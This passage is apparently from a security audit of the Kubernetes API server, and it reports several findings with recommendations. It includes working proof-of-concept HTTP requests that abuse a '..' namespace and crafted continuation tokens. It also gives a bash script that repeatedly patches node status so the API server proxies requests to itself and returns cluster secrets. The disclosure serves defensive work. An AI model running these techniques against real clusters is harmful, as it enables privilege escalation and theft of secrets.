In what follows, note that when a request is received with a namespace of `..`, RBAC checks will be performed as normal, and so the requesting user will need to have appropriate cluster-scoped permissions against the resource type being requested. For example, a GET request to `/api/v1/namespaces/../pods` will require `get` permission on pods at cluster scope. The vulnerabilities here relate to being able to use such requests to also access different types of resource.

We discuss only *get* and *list* requests here. Further investigation is required into the possibility of using this technique with other verbs, although at this point it is not believed to be exploitable.

It is important to understand that when a *get* or *list* request is made, golang's `path.Join` method is used (at various locations in the store.go file) to combine the etcd root path (`/registry`) with the path for the resource being requested. If a namespace of `..` has been provided, it will be passed through to this point, and `path.Join` will resolve this directory traversal sequence and output a shorter path than expected.

This is not exploitable for normal *get* requests against resources. For example, requesting `/api/v1/namespaces/mynamespace/pods/mypod` will result in an etcd lookup to `/registry/pods/mynamespace/mypod`. Requesting `/api/v1/namespaces/../pods/mypod` will result in a lookup to `/registry/mypod`, but there is nothing at this location. If there were any API routes which allowed more path parameters to be specified, it would likely be exploitable[9].

9. There *are* various API routes, such as `/api/v1/namespaces/{namespace}/pods/{name}/proxy/{path}` which allow an unlimited number of path parameters to be specified, but these do not result in lookups to etcd.

The situation is different with *list* requests, as these will recursively enumerate objects, starting from the given path in etcd. So a request to `/api/v1/namespaces/../pods` will cause all objects under `/registry` to be enumerated. However, the server will not return objects which are not of the expected type (pods in this case). The following HTTP request and response illustrates this:

```
GET /api/v1/namespaces/../pods HTTP/1.1
Host: 192.168.136.27:6443
Authorization: Bearer b523cd80-2bde-45ac-a6b7-ef9b143f8e90
```

```
HTTP/1.1 500 Internal Server Error
<snip>

{"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"no kind
↳ \"CustomResourceDefinition\" is registered for version \"apiextensions.k8s.io/v1beta1\" in
↳ scheme \"pkg/api/legacyscheme/scheme.go:30\"","code":500}
```

The first object in etcd in this deployment is a `CustomResourceDefinition` and this cannot be converted to a `Pod`, resulting in an error message.

This can be overcome to some extent using continuation tokens (intended to support pagination of list requests), which allow an etcd subpath to be specified. Using a continuation token of `{"v":"meta.k8s.io/v1","rv":-1,"start":"/secrets\u0000"}`, we can see that a `Secret` object has been retrieved (but again cannot be converted to a Pod).

```
GET /api/v1/namespaces/../pods?continue=eyJ2IjoibWV0YS5rOHMuaW8vdjEiLCJydiI6LTEsInN0YXJ0IjoiL3N
↳ lY3JldHNcdTAwMDAifQ HTTP/1.1
Host: 192.168.136.27:6443
Authorization: Bearer b523cd80-2bde-45ac-a6b7-ef9b143f8e90
```

```
HTTP/1.1 500 Internal Server Error
<snip>

{"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"converting
↳ (v1.Secret) to (core.Pod): unknown conversion","code":500}
```

Although this does not appear to allow a request to retrieve objects disallowed through cluster RBAC[10], it can be exploited for limited information disclosure, to obtain the names of objects in etcd. For example, if we specify a continuation path of `/secrets/z`, the resultant error message is `converting (v1.ServiceAccount) to (core.Pod): unknown conversion`, indicating that no secret exists where the path begins with the letter z. This process could be iterated to fully recover the path of a secret. However, this will only work for the final object of each type alphabetically.

The issue with converting one object type to another does not necessarily apply to CRD (Custom Resource Definition) objects[11], as these are treated as unstructured lists rather than having a fixed schema. Therefore, it is possible for a *list* request against a particular CRD type to return objects of other types, from the same namespace. This is illustrated

10. It would be possible to specify a continuation path of `/pods` and retrieve pods successfully, but the requesting user would already be able to access all pods, or they would not be able to make these requests in the first place.
11. Custom Resources: https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources

below - Calico has been installed in the cluster. A request is made to list `networksets`, with a continuation path of `/crd.projectcalico.org`. A total of 11 objects are returned, of varying types. This represents an access control flaw, if we assume that the requesting user may have permission only to list `networksets`. The output has been trimmed for brevity.

```
GET /apis/crd.projectcalico.org/v1/namespaces/../networksets?
↪ continue=eyJ2IjoibWV0YS5rOHMuaW8vdjEiLCJydiI6LTEsInN0YXJ0IjoiL2NyZC5wcm9qZWN0Y2FsaWNvLm9yZ1x1
↪ MDAwMCJ9&limit=11 HTTP/1.1
Host: 192.168.136.27:6443
Authorization: Bearer b523cd80-2bde-45ac-a6b7-ef9b143f8e90
```

```
HTTP/1.1 200 OK
<snip>

{
  "apiVersion": "crd.projectcalico.org/v1",
  "items": [
    {
      "apiVersion": "crd.projectcalico.org/v1",
      "kind": "BlockAffinity",
      <snip>
    },
    {
      "apiVersion": "crd.projectcalico.org/v1",
      "kind": "ClusterInformation",
      <snip>
    },
    {
      "apiVersion": "crd.projectcalico.org/v1",
      "kind": "FelixConfiguration",
      <snip>
    },
    {
      "apiVersion": "crd.projectcalico.org/v1",
      "kind": "IPAMBlock",
      <snip>
    }
    {
      "apiVersion": "crd.projectcalico.org/v1",
      "kind": "IPAMHandle",
      <snip>
    },
    {
      "apiVersion": "crd.projectcalico.org/v1",
      "kind": "IPAMHandle",
      <snip>
    },
    {
      "apiVersion": "crd.projectcalico.org/v1",
      "kind": "IPAMHandle",
      <snip>
    },
    {
      "apiVersion": "crd.projectcalico.org/v1",
      "kind": "IPAMHandle",
      <snip>
    },
    {
      "apiVersion": "crd.projectcalico.org/v1",
      "kind": "IPAMHandle",
      <snip>
    },
    {
      "apiVersion": "crd.projectcalico.org/v1",
      "kind": "IPPool",
      <snip>
    },
    {
      "apiVersion": "crd.projectcalico.org/v1",
      "kind": "KubeControllersConfiguration",
      <snip>
    }
  ],
  "kind": "NetworkSetList",
  "metadata": {
    "continue":
      ↳ "eyJ2IjoibWV0YS5rOHMuaW8vdjEiLCJydiI6MTEzNDk1MSwic3RhcnQiOiJjcmQucHJvamVjdGNhbGljby5vcmcv
      ↳ a3ViZWNvbnRyb2xsZXJzY29uZmlndXJhdGlvbnMvZGVmYXVsdFx1MDAwMCJ9",
    "remainingItemCount": 193,
    "resourceVersion": "1134951"
  }
}
```

It is interesting to note the `remainingItemCount` value of 193, which actually represents the total number of objects in etcd, starting from the `/crd.projectcalico.org` path.

Recommendation

Implement a check on namespace identifiers in Kubernetes API requests, similar to `NamespaceKeyFunc`. In particular, `..` and `.` should be rejected.

Given that it is not possible to legitimately create a namespace with a name of `..` or `.`, there should be no negative impact arising from this change.

Location

kube-apiserver

Medium

Redirection of API Server Traffic to Kubelet

Overall Risk	Medium	**Finding ID**	NCC-E003660-JAV
Impact	Medium	**Component**	kube-apiserver
Exploitability	Low	**Category**	Authentication
		Status	Reported

Impact

A user with GET permissions on the `nodes/proxy` subresource and either PATCH on `nodes/status` or CREATE on `nodes` can manipulate the API Server into authenticating to itself, resulting in cluster-administrator permissions.

Description

The Kubernetes API server proxy is a feature which allows users to proxy requests through the API server to workloads or nodes. The user's own credentials are not proxied to the destination, but if the API server recognizes the proxy target as a kubelet, it will authenticate the request using its own client certificate. It is possible to abuse this behavior to cause the API server to connect to itself using its own credentials (which typically will have cluster administrator permissions), by temporarily modifying the cluster state so that the API server directs proxied traffic to the wrong destination.

While this represents a potential privilege escalation to cluster administrator, the attack does require significant existing permissions against nodes as a starting point.

A typical proxy request, targeting the kubelet service on the default port (10250) on a worker node, resembles the following:

```
curl -k -H "Authorization: Bearer $TOKEN" https://kubemaster01.test.lab:6443/api/v1/nodes/https
↳ :kubeworker02:10250/proxy/runningpods/
```

The code snippet below shows one of the stages in processing a request on the API server. The `id` parameter is the `protocol:hostname:port` triplet highlighted above. `GetConnectionInfo` is used to retrieve the hostname and kubelet port for the specified node (line 247). If the requested port matches the known kubelet port (line 255) then an HTTP client (`info.Transport`) which uses the API server's client certificate for accessing the kubelet will be used for sending onwards requests. Otherwise, a default HTTP client (`proxyTransport`) which has no client credentials (and does not even check TLS certificates, as described at finding "API Server Proxy Disables TLS Certificate Validation") will be used.

```
240 // ResourceLocation returns a URL and transport which one can use to send traffic for the
    ↳ specified node.
241 func ResourceLocation(getter ResourceGetter, connection client.ConnectionInfoGetter,
    ↳ proxyTransport http.RoundTripper, ctx context.Context, id string) (*url.URL,
    ↳ http.RoundTripper, error) {
242   schemeReq, name, portReq, valid := utilnet.SplitSchemeNamePort(id)
243   if !valid {
244     return nil, nil, errors.NewBadRequest(fmt.Sprintf("invalid node request %q", id))
245   }
246
247   info, err := connection.GetConnectionInfo(ctx, types.NodeName(name))
248   if err != nil {
249     return nil, nil, err
```

```go
	}

	// We check if we want to get a default Kubelet's transport. It happens if either:
	// - no port is specified in request (Kubelet's port is default)
	// - the requested port matches the kubelet port for this node
	if portReq == "" || portReq == info.Port {
		return &url.URL{
				Scheme: info.Scheme,
				Host:   net.JoinHostPort(info.Hostname, info.Port),
			},
			info.Transport,
			nil
	}

	if err := proxyutil.IsProxyableHostname(ctx, &net.Resolver{}, info.Hostname); err != nil
	↳ {
		return nil, nil, errors.NewBadRequest(err.Error())
	}

	// Otherwise, return the requested scheme and port, and the proxy transport
	return &url.URL{Scheme: schemeReq, Host: net.JoinHostPort(info.Hostname, portReq)},
	↳ proxyTransport, nil
}
```

Figure 2: *https://github.com/kubernetes/kubernetes/blob/release-1.24/pkg/registry/core/node/strategy.go\#L240-L270*

The `GetConnectionInfo` method is shown below. This is based on retrieving node status data from etcd. The `Port` attribute is obtained from the `node.Status.DaemonEndpoints.KubeletEndpoint.Port` field in the status information. The `Hostname` attribute is obtained from one of the entries under `node.Status.Addresses`, depending on the value of the kubelet preferred address setting for the API server. On a default kubeadm cluster, the address with type `InternalIP` will be prioritized.

```go
// GetConnectionInfo retrieves connection info from the status of a Node API object.
func (k *NodeConnectionInfoGetter) GetConnectionInfo(ctx context.Context, nodeName
↳ types.NodeName) (*ConnectionInfo, error) {
	node, err := k.nodes.Get(ctx, string(nodeName), metav1.GetOptions{})
	if err != nil {
		return nil, err
	}

	// Find a kubelet-reported address, using preferred address type
	host, err := nodeutil.GetPreferredNodeAddress(node, k.preferredAddressTypes)
	if err != nil {
		return nil, err
	}

	// Use the kubelet-reported port, if present
	port := int(node.Status.DaemonEndpoints.KubeletEndpoint.Port)
	if port <= 0 {
		port = k.defaultPort
	}

	return &ConnectionInfo{
		Scheme:                         k.scheme,
		Hostname:                       host,
    Port:                        strconv.Itoa(port),
    Transport:                   k.transport,
    InsecureSkipTLSVerifyTransport: k.insecureSkipTLSVerifyTransport,
  }, nil
}
```

Figure 3: https://github.com/kubernetes/kubernetes/blob/release-1.24/pkg/kubelet/client/kubelet_client.go\#L201-L227

Previous security research relating to API server proxying[12][13] explained how it is possible, given the necessary permissions, to patch the status of a pod in etcd to subvert the intended behavior of the API server. A similar activity can be performed here, assuming *patch* permissions on `nodes/status` or *create* permissions on `nodes`. The `Status.Addresses.Address` and `Status.DaemonEndpoints.KubeletEndpoint.Port` fields in the node status can be modified so that they are actually the API server's IP address and HTTPS port (which we assume to be 6443 in what follows).

After this is done, a proxy request to port 6443 on a worker node will actually be directed to the the API server (on the same port), and because 6443 is now recognized as the kubelet port (due to the modification of the node's `KubeletEndpoint.Port`), the API server's client certificate will be used. Therefore, the proxied requests will be sent by the API server to itself, authenticated using a client certificate, which - on a typical cluster - is for a user in the `system:masters` group, effectively granting full control over the Kubernetes cluster.

A proof-of-concept can be seen below.
`rtt-k8s-node` is a worker node, but the proxied request for `/api/v1/secrets` is sent to the API server itself.

```
GET /api/v1/nodes/https:rtt-k8s-node:6443/proxy/api/v1/secrets HTTP/1.1
Host: 192.168.136.27
Authorization: Bearer 77777
```

```
HTTP/1.1 200 OK
Audit-Id: 54f3ef76-8240-4cd4-b23f-3ec26bb1e84f
Audit-Id: f3fc1c6c-ff5d-41a2-aef3-3f372820b8e1
Cache-Control: no-cache, private
Cache-Control: no-cache, private
Content-Type: application/json
Date: Wed, 08 Jun 2022 18:57:35 GMT
X-Kubernetes-Pf-Flowschema-Uid: 34702e4c-f520-4f38-b435-3c420ee36de7
X-Kubernetes-Pf-Prioritylevel-Uid: 889a4e22-e027-4ffa-b5d2-deca5aff5512
Content-Length: 49265

{"kind":"SecretList","apiVersion":"v1","metadata":{"resourceVersion":"1765484"},"items":
↳ [{"metadata":{"name":"calico-apiserver-certs","namespace":"calico-apiserver","uid":"1185c573-
↳ 2b93-458f-a8f2-369a38ebebe3","resourceVersion":"212095","creationTimestamp":"2022-05-27T16:17
↳ :23Z","ownerReferences":[{"apiVersion":"operator.tigera.io/
↳ v1","kind":"APIServer","name":"default","uid":"86ff655a-85be-47af-b590-
↳ cfd4063f17d2","controller":true,"blockOwnerDeletion":true}],
<snip>
```

12. https://kinvolk.io/blog/2019/02/abusing-kubernetes-api-server-proxying/
13. https://groups.google.com/forum/#!topic/kubernetes-dev/P0ghX_DViy8

Note that the bearer token in use here is for a user assigned to the following cluster role (and no other permissions), and yet was able to retrieve a list of secrets:

```
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  annotations:
    kubectl.kubernetes.io/last-applied-configuration: |
      {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRole","metadata":
      ↳{"annotations":{},"name":"node-ops-role"},"rules":[{"apiGroups":[""],"resources":
      ↳["nodes/proxy"],"verbs":["get"]},{"apiGroups":[""],"resources":["nodes/
      ↳status"],"verbs":["get","patch"]}]}
  creationTimestamp: "2022-06-08T00:12:05Z"
  name: node-ops-role
  resourceVersion: "1688636"
  uid: c157771b-e125-45e0-b777-7afcb71d0cdb
rules:
- apiGroups:
  - ""
  resources:
  - nodes/proxy
  verbs:
  - get
- apiGroups:
  - ""
  resources:
 - nodes/status
  verbs:
 - get
 - patch
```

The following bash script can be used to perform the necessary patching of the node status in etcd (this borrows heavily from the ideas in the *kinvolk.io* blog post referenced above). It makes repeated PATCH requests, as the updated data will frequently be overwritten with the correct data by other components.

```
#!/bin/bash

set -euo pipefail

readonly NODE=rtt-k8s-node                                # hostname of the worker node
readonly API_SERVER_PORT=6443                             # web port of API server
readonly NODE_IP=192.168.136.28                           # IP address of worker node
readonly API_SERVER_IP=192.168.136.27                     # IP address of API server
readonly BEARER_TOKEN=77777                               # bearer token to authenticate to API
↳server - other authentication methods could be used

while true; do
  curl -k -H "Authorization: Bearer ${BEARER_TOKEN}" -H 'Content-Type: application/json' \
    "https://${API_SERVER_IP}:${API_SERVER_PORT}/api/v1/nodes/${NODE}/status" >"${NODE}-
    ↳orig.json"

  cat $NODE-orig.json |
    sed "s/\"Port\": 10250/\"Port\": ${API_SERVER_PORT}/g" | sed "s/\"${NODE_IP}\"/\"$
    ↳{API_SERVER_IP}\"/g"\
      >"${NODE}-patched.json"
  curl -k -H "Authorization: Bearer ${BEARER_TOKEN}" -H 'Content-Type:application/merge-
  ↪ patch+json' \
    -X PATCH -d "@${NODE}-patched.json" \
    "https://${API_SERVER_IP}:${API_SERVER_PORT}/api/v1/nodes/${NODE}/status"

done
```

Note that this can actually be slightly simplified by specifying the hostname of the API server itself in the original proxy request, and it is then not necessary to patch the address field in the node status.

Recommendation

Consider whether it is possible to implement additional defensive measures to prevent proxied requests being sent to the API server's web port.

Location

- kube-apiserver

Medium

API Server Proxy Disables TLS Certificate Validation

Overall Risk	Medium	**Finding ID**	NCC-E003660-MRE
Impact	High	**Component**	kube-apiserver
Exploitability	Low	**Category**	Cryptography
		Status	Reported

Impact

An attacker suitably positioned on the network may be able to intercept TLS connections being made to pods, services or nodes from the API server proxy.

Description

When the proxy functionality in the Kubernetes API server[14] is used, the TLS certificate for the pod, service or node being accessed will not be checked by the API server. This could allow an attacker suitably positioned on the network to intercept the TLS connection to read or modify the traffic. The level of risk this presents will depend on the network architecture of a particular cluster.

Note that this discussion refers to the connection made by the API server to the pod[15], service[16] or node[17] which is the target of the proxy connection. The connection from the client to the API Server is not affected by this issue.

This is shown in the code snippet below - this method creates the HTTP(S) transport which will be used for proxying. The `InsecureSkipVerify` attribute means that the TLS client will not verify server certificates. The comment on the line above indicates that this is a known security concern.

```go
// CreateProxyTransport creates the dialer infrastructure to connect to the nodes.
func CreateProxyTransport() *http.Transport {
  var proxyDialerFn utilnet.DialFunc
  // Proxying to pods and services is IP-based... don't expect to be able to verify the
  ↪ hostname
  proxyTLSClientConfig := &tls.Config{InsecureSkipVerify: true}
  proxyTransport := utilnet.SetTransportDefaults(&http.Transport{
    DialContext:     proxyDialerFn,
    TLSClientConfig: proxyTLSClientConfig,
  })
  return proxyTransport
}
```

Figure 4: https://github.com/kubernetes/kubernetes/blob/release-1.24/cmd/kube-apiserver/app/server.go\#L224-L234

14. https://kubernetes.io/docs/tasks/access-application-cluster/access-cluster/#so-many-proxies
15. Pod proxy operations: https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.24/#-strong-proxy-operations-pod-v1-core-strong-
16. Service proxy operations: https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.24/#-strong-proxy-operations-service-v1-core-strong-
17. Node proxy operations: https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.24/#node-v1-core

In fact, it can be determined that no TLS certificate validation will be performed simply by observing that there is no means to specify a certificate authority or trust store when setting up proxying through the API. This can be contrasted with, for example, the `APIService` resource[18], where it is possible to set `insecureSkipTLSVerify` to true, *or* to provide a trust store via `caBundle`.

Note that one exception to this behavior is when the node proxying functionality is used to reach the kubelet service on a particular node - in this case, the API server will use its own client certificate for authenticating to the kubelet, and will verify the kubelet service's certificate. Note that this gives rise to some separate security issues - see finding "Redirection of API Server Traffic to Kubelet".

Recommendation

Consider whether it is possible to implement TLS certificate validation for pod, service and node proxying. This would require a means of specifying the expected server certificate or trust store.

If this is not possible, ensure that documentation for the relevant APIs makes it clear that these connections are potentially vulnerable to man-in-the-middle attacks.

Location

- Function `CreateProxyTransport()` in file server.go:L224

18. APIService: https://kubernetes.io/docs/reference/kubernetes-api/cluster-resources/api-service-v1/

Low

Authentication Source Not Shown in Audit Logs

Overall Risk	Low	**Finding ID**	NCC-E003660-R44
Impact	Low	**Component**	kube-apiserver
Exploitability	Medium	**Category**	Auditing and Logging
		Status	Reported

Impact

An attacker able to craft authentication values could impersonate a user or system component to better hide malicious activities in log files.

Description

When auditing is configured on a cluster, audit logs show the username and groups of logged requests. This does not include the authentication source used to determine the user's identity. An attacker able to craft their own authentication that is accepted by the cluster would be able to impersonate a system component. This would not aid an attacker in gaining access to a cluster, but could be useful in a post-compromise persistence scenario.

As one example of an attack path, an attacker able to gain access to the CA used to sign user certificates could create a user cert for a username of "system:serviceaccount:kube-system:replication-controller" or similar. If an attacker uses this certificate, the audit logs would show the same username as any requests made by the replication-controller service account in normal behavior. Any anomalous behavior may not be noticed, unless a cluster administrator is paying close attention to every request.

Recommendation

Include the authentication source in audit logging, allowing administrators to clearly identify which authentication method was used for a given request.

Reproduction Steps

1. Enable auditing on a Kubernetes cluster
2. Create a service account with a given name in a given namespace (e.g. default/audit-test), and make requests to the apiserver using that service account's token
3. Generate a CSR for a certificate using the fields `CN=system:serviceaccount:default:audit-test,O=system:serviceaccounts"`
4. Submit the CSR to the Kubernetes apiserver and approve the certificate
5. Make requests using the certificate and the service account token to authenticate
6. Note that the audit entries are the same for each authenticated entity

Low

EmptyDir Volumes Do Not Support Mount Options

Overall Risk	Low	**Finding ID**	NCC-E003660-7HM
Impact	Low	**Component**	kube-apiserver
Exploitability	Low	**Category**	Access Controls
		Status	Reported

Impact

An attacker able to execute code inside a pod with a mounted emptyDir volume would be able to load arbitrary files, including malicious tooling, into this directory and use them to launch further attacks.

Description

Pod volumes can use a volume of type emptyDir, providing a directory that can be shared between all the images in a pod or provide a predictable location regardless of the container image directory structure. These volumes are commonly used to provide a scratch space or to share files between multiple containers in a pod.

The emptyDir volume provider does not currently support specifying mount options such as `nosuid` or `noexec`. As a result, it is not possible to create a writable space for use as scratch storage which disables execution of files stored in that space. Kubernetes users following best practices often create pods using a read-only root filesystem in an attempt to hinder any attackers able to compromise a running container. Creating an emptyDir volume that is writable is often used to provide a location for logs, or as temporary storage for applications that require write access for operational purposes.

As a specific risk example, by not allowing an emptyDir volume to be created with the `noexec` flag set, administrators are forced to accept an additional risk.

It should be noted that this issue has previously been reported to the Kubernetes project as GitHub issue #48912.

Recommendation

Allow emptyDir volumes to be mounted with the `noexec` flag.

Low

Loopback Token Usable Externally

Overall Risk	Low	**Finding ID**	NCC-E003660-47W
Impact	High	**Component**	kube-apiserver
Exploitability	Undetermined	**Category**	Authentication
		Status	Reported

Impact

If an external attacker were able to obtain the API server's loopback token, they could use it to obtain access with `system:masters` privileges.

Description

The Kubernetes API server creates an ephemeral "loopback token" at initialization time. This is assigned to the `system:apiserver` user, and is a member of the `system:masters` group. It is used by the API server to authenticate when making calls to its own services on the loopback interface. However, there are no checks in place to ensure that requests using this token have arrived on the loopback interface, or that they originate from localhost. It should be noted that no method for an attacker to acquire the loopback token in order to use it externally was identified - adding these checks is recommended only as a useful additional layer of defense in depth.

As a proof of concept, the loopback token was obtained by instrumenting a running API server. This was then used to authenticate a request to the API server's external interface (the request was to an API extension which echoes back details of the request).

```
GET /apis/echo-server.k8s.io/v1beta1 HTTP/1.1
Host: 192.168.136.27:6443
Authorization: Bearer 06eb36fb-afb5-4531-8a97-a49cbc1e4512
```

```
HTTP/1.1 200 OK
Audit-Id: 5673dc95-5d2e-4e3d-874b-3d8405442786
Cache-Control: no-cache, private
Content-Length: 792
Content-Type: application/json; charset=utf-8
Date: Fri, 27 May 2022 16:49:01 GMT
Etag: W/"318-tq6sx6fE0LLqOWnWQb/TvxXgmPs"
X-Kubernetes-Pf-Flowschema-Uid: 34702e4c-f520-4f38-b435-3c420ee36de7
X-Kubernetes-Pf-Prioritylevel-Uid: 889a4e22-e027-4ffa-b5d2-deca5aff5512
X-Powered-By: Express

{
  "path": "/apis/echo-server.k8s.io/v1beta1",
  "headers": {
    "host": "10.97.48.120:443",
    "audit-id": "5673dc95-5d2e-4e3d-874b-3d8405442786",
    "x-forwarded-for": "192.168.136.1",
    "x-forwarded-host": "10.97.48.120:443",
    "x-forwarded-proto": "https",
    "x-forwarded-uri": "/apis/echo-server.k8s.io/v1beta1",
    "x-remote-group": "system:masters",
    "x-remote-user": "system:apiserver",
    "accept-encoding": "gzip"
  },
  "method": "GET",
  "body": "",
  "fresh": false,
  "hostname": "10.97.48.120",
  "ip": "192.168.136.1",
  "ips": [
    "192.168.136.1"
  ],
  "protocol": "https",
  "query": {},
  "subdomains": [],
  "xhr": false,
  "os": {
    "hostname": "echo-server-f4b8cdb66-79mpw"
  },
  "connection": {
    "servername": "echo-server.kube-system.svc"
  }
}
```

Note that the loopback token is generated when the API server is initialized, and remains valid until the service is stopped or restarted. It is not rotated as long as the API server remains running.

Recommendation

Add checks to ensure that the loopback token is only accepted for authentication on the API server's loopback interface.

Location

- kube-apiserver

Low

Inaccurate X-Forwarded-Uri Header

Overall Risk	Low	**Finding ID**	NCC-E003660-HFV
Impact	Low	**Component**	kube-apiserver
Exploitability	Low	**Category**	Configuration
		Status	Reported

Impact

Systems which receive proxied requests from the API server could receive inaccurate information about the original URL, and potentially make erroneous security decisions based on this.

Description

The Kubernetes API server's proxy functionality, implemented in the `Transport.RoundTrip` method, adds an `X-Forwarded-Uri` header to the proxied request to indicate the URL of the original request that was received. The `X-Forwarded-Uri` is constructed by normalizing the incoming URL, using golang's `path.Join` method. This will perform processing on the URL which notably includes resolution of directory traversal sequences (`../`) and hence may produce output which is not an accurate representation of the incoming URL. It should be noted that the API server does not perform any normalization of the URL before authorizing, routing, or processing incoming requests. It is possible (although perhaps not likely) that those systems to which requests are proxied may trust that the `X-Forwarded-Uri` header is an accurate representation of the URL that was authorized by the API server when this may not actually be the case.

This can be seen in the HTTP request and response below. This is a request which the API server will proxy to an API extension which echoes back details of the request.

```
GET /apis/echo-server.k8s.io/v1beta1/../../../c HTTP/1.1
Host: 192.168.136.27:6443
Authorization: Bearer 06eb36fb-afb5-4531-8a97-a49cbc1e4512
```

```
HTTP/1.1 200 OK
Audit-Id: 027845b1-c791-4bab-b97b-be8b20d45a1a
Cache-Control: no-cache, private
Content-Length: 773
Content-Type: application/json; charset=utf-8
Date: Fri, 27 May 2022 16:18:18 GMT
Etag: W/"305-R40KarPaF5jU+S/mz8ztdlh8zPk"
X-Kubernetes-Pf-Flowschema-Uid: 34702e4c-f520-4f38-b435-3c420ee36de7
X-Kubernetes-Pf-Prioritylevel-Uid: 889a4e22-e027-4ffa-b5d2-deca5aff5512
X-Powered-By: Express

{
  "path": "/apis/echo-server.k8s.io/v1beta1/../../../c",
  "headers": {
    "host": "10.97.48.120:443",
    "audit-id": "027845b1-c791-4bab-b97b-be8b20d45a1a",
    "x-forwarded-for": "192.168.136.1",
    "x-forwarded-host": "10.97.48.120:443",
    "x-forwarded-proto": "https",
    "x-forwarded-uri": "/c",
    "x-remote-group": "system:masters",
    "x-remote-user": "system:apiserver",
    "accept-encoding": "gzip"
  },
  "method": "GET",
  "body": "",
  "fresh": false,
  "hostname": "10.97.48.120",
  "ip": "192.168.136.1",
  "ips": [
    "192.168.136.1"
  ],
  "protocol": "https",
  "query": {},
  "subdomains": [],
  "xhr": false,
  "os": {
    "hostname": "echo-server-f4b8cdb66-79mpw"
  },
  "connection": {
    "servername": "echo-server.kube-system.svc"
  }
}
```

The `X-Forwarded-Uri` here is not an accurate or useful representation of the original URL, given that the first three components of that URL are the most significant in terms of authorization and routing, but have been resolved away by the directory traversal sequences.

The code which constructs the `X-Forwarded-Uri` can be seen below. The call to `path.Join` is responsible for normalization of the URL.

```
83 // RoundTrip implements the http.RoundTripper interface
84 func (t *Transport) RoundTrip(req *http.Request) (*http.Response, error) {
85   // Add reverse proxy headers.
86   forwardedURI := path.Join(t.PathPrepend, req.URL.EscapedPath())
87   if strings.HasSuffix(req.URL.Path, "/") {
88     forwardedURI = forwardedURI + "/"
89   }
90   req.Header.Set("X-Forwarded-Uri", forwardedURI)
```

Figure 5: https://github.com/kubernetes/apimachinery/blob/release-1.24/pkg/util/proxy/transport.go\#L83-L90

Recommendation

Modify the API server’s proxy functionality so that the `X-Forwarded-Uri` header is an accurate representation of the original URL.

Location

Function `RoundTrip()` in file transport.go:L84

Low

Logging of Incorrect Bootstrap Tokens

Overall Risk	Low	**Finding ID**	NCC-E003660-WVM
Impact	Medium	**Component**	kube-apiserver
Exploitability	Low	**Category**	Auditing and Logging
		Status	Reported

Impact

Invalid or incorrect bootstrap tokens could be written to the Kubernetes API server logs, where they may be accessible to attackers or malicious users.

Description

When authenticating incoming requests that use bootstrap tokens, the Kubernetes API server may write secret token values to the log. In this case, token secrets are logged only if authentication was unsuccessful, which is likely to mean that the secret is not valid. However, it is possible that the secret is correct apart from a minor error (e.g. a typo) or is a secret valid elsewhere.

The code snippets below illustrate this issue. The token is written at logging verbosity 3.

```
func (t *TokenAuthenticator) AuthenticateToken(ctx context.Context, token string)
↪ (*authenticator.Response, bool, error) {
  tokenID, tokenSecret, err := bootstraptokenutil.ParseToken(token)
  if err != nil {
    // Token isn't of the correct form, ignore it.
    return nil, false, nil
  }

  ...

  ts := bootstrapsecretutil.GetData(secret, bootstrapapi.BootstrapTokenSecretKey)
  if subtle.ConstantTimeCompare([]byte(ts), []byte(tokenSecret)) != 1 {
    tokenErrorf(secret, "has invalid value for key %s, expected %s.", bootstrapapi.BootstrapTok
    ↪ enSecretKey, tokenSecret)
    return nil, false, nil
  }
```

Figure 6: https://github.com/kubernetes/kubernetes/blob/v1.24.0/plugin/pkg/auth/authenticator/token/bootstrap/bootstrap.go\#L119-L123

```
// tokenErrorf prints a error message for a secret that has matched a bearer
// token but fails to meet some other criteria.
//
//    tokenErrorf(secret, "has invalid value for key %s", key)
//
func tokenErrorf(s *corev1.Secret, format string, i ...interface{}) {
  format = fmt.Sprintf("Bootstrap secret %s/%s matching bearer token ", s.Namespace, s.Name) +
  ↪ format
  klog.V(3).Infof(format, i...)
}
```

Figure 7: https://github.com/kubernetes/kubernetes/blob/v1.24.0/plugin/pkg/auth/authenticator/token/bootstrap/bootstrap.go\#L56-L64

An example logging statement is shown below:

```
I0531 22:46:06.596497       1 bootstrap.go:63] Bootstrap secret kube-system/bootstrap-token-
↳wgojx7 matching bearer token has invalid value for key token-secret, expected
↳bl19c5m5pdbjwxow.
```

Recommendation

Modify this logging statement so that the incorrect token secret value is not included in the output.

Location

- File bootstrap.go

Low

Incorrect Handling of Proxy Authentication Headers

Overall Risk	Low	**Finding ID**	NCC-E003660-YVU
Impact	Medium	**Component**	kube-apiserver
Exploitability	Low	**Category**	Authentication
		Status	Reported

Impact

If custom values have been set for the authentication proxy header names, an attacker can assert arbitrary group memberships to extension API servers, leading to privilege escalation opportunities.

Description

The proxy authentication scheme[19] supported by the Kubernetes API server adds custom HTTP headers to proxied requests to specify username, groups and extra values. These header names default to `X-Remote-User`, `X-Remote-Group` and `X-Remote-Extra-xxxx`, but can be changed using command line arguments[20]. The implementation of proxy authentication used by the aggregation layer strips these headers out of incoming requests (to avoid the obvious header spoofing attack), but this code does not take account of the fact that the header names are configurable - instead, it assumes the default values. This means that if the header names *have* been changed, it will be possible for an attacker to add these headers to a request sent to the Kubernetes API server, and when it is proxied onwards (e.g. to an extension API server) they will not be stripped. The extension API server (assuming that it has been configured with the same header names, as would be expected) would then make security decisions based on these spoofed values: if following the guidance in the Kubernetes documentation[21], it would include the spoofed information in the `SubjectAccessReview` sent back to the main API server.

It may be the case that a spoofed username header would not be recognized by the destination server, as it is intended that only one of these headers should be present, and the legitimate header added by the aggregation layer may take precedence. However, by design there can be multiple remote group headers so spoofed values would be accepted (and this provides an obvious route for privilege escalation, by adding a group membership like `system:masters`).

Note that a prerequisite for this attack is to have permission to call the relevant paths on the extension API server - this will be verified by the main API server before the request is proxied onwards. The privilege escalation opportunity arises from spoofing the group memberships which are presented to the extension API server.

19. Authenticating Proxy: https://kubernetes.io/docs/reference/access-authn-authz/authentication/#authenticating-proxy
20. kube-apiserver: https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/
